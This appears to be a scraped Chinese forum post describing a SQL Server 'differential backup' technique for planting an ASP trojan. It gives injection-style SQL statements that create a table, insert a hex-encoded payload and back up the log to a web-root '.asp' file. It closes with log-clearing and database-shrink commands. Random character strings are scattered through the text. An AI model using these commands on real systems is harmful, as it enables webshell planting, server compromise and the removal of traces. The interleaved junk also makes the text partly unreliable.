差异备份提权

admin

select * from master.dbo.sysdatabases　 列出所有列的记录

select name from master.dbo.sysdatabases 仅列出name列的记录
4 h" P) _- ]' ~
注意:可以利用log和数据库备份两上都行,log备份不成功用数据库备份

alter database 数据库名 set RECOVERY FULL--

create table cmd (a image)--                    \**cmd是创建的临时表
  P3 f: U6 B3 p& P3 Q; K/ a. i" i
- v6 r) C0 t/ ]backup log 数据库名 to disk = 'f:\wwwroot\1.asp' with init--
0 B+ g$ |/ O. M& N
insert into cmd(a) values (0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)--

$ f" F. A+ E. Q( g: f! L//木马存放路径（转换16进制0x130a0d0a替换原来0x最后添加0d0a要多加几个）

  D$ a9 s5 F1 I' K' v  pbackup log 数据库名 to disk = 'f:\wwwroot\1.asp'--  (要备份的目录)

9 L( B. \+ s5 cdrop table cmd--
8 ~3 f! k* n  O0 n

f:\
& E* G& l& n* w/ ~16进制转换(0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)

最好多加几个回车0d0a,要不会出错哈
( g; G7 C1 B) @, x

; j2 Q" u- y/ h+ G6 nSQL   Server日志清空方法   

! m) G- t5 g, v$ c3 ]7 N! S1 x8 G在查询分析器中顺序执行以下三步，其中   databasename   为你的数据库文件名
1.清空日志：DUMP   TRANSACTION   databasename   WITH   NO_LOG   
9 O; l1 x8 e4 T/ H8 P
) v! a; C2 o! B" A" S& S, Y0 S& [2.截断事务日志：BACKUP   LOG   databasename   WITH   NO_LOG   
2 t1 {7 }5 f: ]) `) q/ N4 ]1 j3 O$ C
  A- N  z+ v: {# x$ |$ l) ^3.收缩数据库：DBCC   SHRINKDATABASE(databasename)   
% D3 D5 P' Q0 M3 e